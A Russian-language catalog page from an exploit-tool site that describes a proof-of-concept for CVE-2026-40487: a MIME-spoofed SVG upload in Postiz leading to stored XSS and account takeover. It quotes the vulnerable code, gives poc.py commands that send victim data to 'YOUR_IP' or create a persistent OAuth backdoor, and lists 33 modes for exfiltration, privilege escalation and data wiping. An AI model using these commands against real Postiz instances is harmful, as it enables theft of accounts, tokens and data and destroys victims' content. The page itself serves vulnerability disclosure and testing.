Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-40487 — Эксплойт proof-of-concept для CVE-2026-40487, демонстрирующий произвольную загрузку файлов через подмену MIME, приводящую к хранимому XSS и захвату учётной записи в Postiz. Включает несколько режимов атаки для эксфильтрации данных, повышения привилегий и закрепления в системе. | Kitploit
Инструменты/GitHubGitHub/astaruf/cve-2026-40487
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubastaruf/cve-2026-40487

CVE-2026-40487

Эксплойт proof-of-concept для CVE-2026-40487, демонстрирующий произвольную загрузку файлов через подмену MIME, приводящую к хранимому XSS и захвату учётной записи в Postiz. Включает несколько режимов атаки для эксфильтрации данных, повышения привилегий и закрепления в системе.

Репозиторий
375 месяцев назадЕщё не проверено
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-40487 - Postiz <= 2.21.5 - Произвольная загрузка файлов через подмену MIME-типа с переходом в хранимый XSS и захват учетной записи

Обнаружено и сообщено: Astaruf

Полное описание: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

Запись NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40487

Запись GHSA: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

Запись CVE: https://www.cve.org/CVERecord?id=CVE-2026-40487


Краткое описание

Postiz — это инструмент управления социальными сетями с открытым исходным кодом, поддерживающий более 28 платформ (Instagram, X, LinkedIn, Facebook, TikTok и др.), используемый более чем 600 экземплярами, доступными в интернете.

Злоумышленник с низкими привилегиями может загрузить вредоносный SVG (или HTML) файл с подделанным заголовком Content-Type: image/png. Сервер принимает файл без проверки его фактического содержимого, сохраняет исходное расширение, а nginx отдает его с Content-Type, полученным из этого расширения (image/svg+xml). Когда жертва открывает URL, встроенный JavaScript выполняется в origin приложения, что дает злоумышленнику полный контроль над сессией, эквивалентный захвату учетной записи.

Цепочка атаки:

Злоумышленник загружает .svg с Content-Type: image/png
  -> Сервер проверяет только заголовок Content-Type (CWE-345)
    -> Файл сохраняется на диск с исходным расширением .svg (CWE-434)
      -> nginx отдает его как image/svg+xml
        -> Браузер выполняет встроенный JavaScript (CWE-79)
          -> Тот же origin: полный доступ к сессии жертвы

Воздействие

XSS-пейлоад выполняется в том же origin, что и приложение. Даже если cookie аутентификации имеет флаг HttpOnly, fetch() с credentials: "include" автоматически прикрепляет его. Злоумышленник может:

  • Похитить профиль жертвы, ключи API, OAuth-токены для всех подключенных социальных аккаунтов
  • Читать, создавать, изменять и удалять запланированные публикации на всех платформах
  • Пригласить злоумышленника как администратора в организацию жертвы
  • Создать постоянный OAuth-бэкдор (pos_* токен, который никогда не истекает и переживает смену пароля)
  • Отключить уведомления, стереть конфигурации, принудительно выйти из системы
  • Выполнять произвольные аутентифицированные API-вызовы от имени жертвы

Детали уязвимости

Три компонента отказывают независимо друг от друга, создавая цепочку эксплуатации:

1. Проверка MIME-типа доверяет вводу клиента (CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:

const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetype берется из заголовка Content-Type в multipart-запросе, который контролирует злоумышленник. Никакой проверки магических байтов, никакого использования библиотек типа file-type.

2. Исходное расширение сохраняется на диске (CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts:

const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname) извлекает расширение из имени файла, предоставленного клиентом. Нет проверки соответствия между заявленным MIME-типом и расширением. Сервер также возвращает полный публичный URL в ответе, поэтому злоумышленник получает ссылку для отправки жертве.

3. nginx отдает файл с Content-Type, полученным из расширения

http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

nginx сопоставляет .svg с image/svg+xml, .html с text/html. Нет Content-Security-Policy, нет X-Content-Type-Options: nosniff, нет Content-Disposition: attachment.

Доказательство концепции

Требования

Python 3.8+
pip install requests

Быстрый старт

# 1. Проверить, уязвима ли цель
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. Похитить все данные жертвы
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. Создать постоянный бэкдор
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. Использовать токен без учетных данных
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

Схема атаки

Злоумышленник                Сервер Postiz              Жертва
    |                              |                        |
    |-- 1. Вход/Регистрация ------>|                        |
    |-- 2. Загрузка вредоносного SVG -->|                        |
    |<---- URL файла -----------|                        |
    |-- 3. Отправка URL жертве --------------------------->  |
    |                              |<--- 4. Открытие URL --- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS выполняется, похищает данные ----|

Все режимы атаки (33)

Эксфильтрация (19 режимов) — похищение данных жертвы
РежимОписание
dump-selfПрофиль жертвы, информация об организации, тариф, ключ API
dump-personalОтображаемое имя, био, фото профиля
dump-integrationsПодключенные интеграции социальных сетей и токены
dump-postsЗапланированные и черновые публикации (за последние 365 дней)
dump-teamУчастники команды, роли и адреса электронной почты
dump-mediaСписок медиатеки
dump-notificationsИстория уведомлений
dump-signaturesПодписи к публикациям
dump-webhooksНастроенные вебхуки и их URL
dump-oauth-appУчетные данные OAuth-приложения (clientId, secret)
dump-copilotЦепочки диалогов AI-копайлота
dump-billingИнформация о биллинге и подписке
dump-settingsНастройки коротких ссылок и уведомлений
dump-third-partyКонфигурации сторонних интеграций
dump-autopostПравила автопостинга
dump-setsНаборы контента
dump-tagsТеги публикаций
dump-customersСписок клиентов
full-dumpВсе вышеперечисленное в одном пейлоаде
Повышение привилегий (3 режима)
РежимОписание
add-adminПригласить злоумышленника как ADMIN в организацию жертвы (--attacker-email)
rotate-keyПеревыпустить ключ API организации и похитить его
rotate-oauthПеревыпустить секрет OAuth-приложения и похитить его
Саботаж (9 режимов) — деструктивные действия
РежимОписание
kill-notificationsОтключить все email-уведомления
edit-profileИзменить имя и био жертвы (--edit-name, --edit-bio)
wipe-signaturesУдалить все подписи к публикациям
wipe-webhooksУдалить все вебхуки
wipe-tagsУдалить все теги
wipe-setsУдалить все наборы контента
wipe-autopostУдалить все правила автопостинга
logout-victimПринудительно выйти из системы жертвы
delete-oauth-appУдалить OAuth-приложение жертвы
Скачать инструмент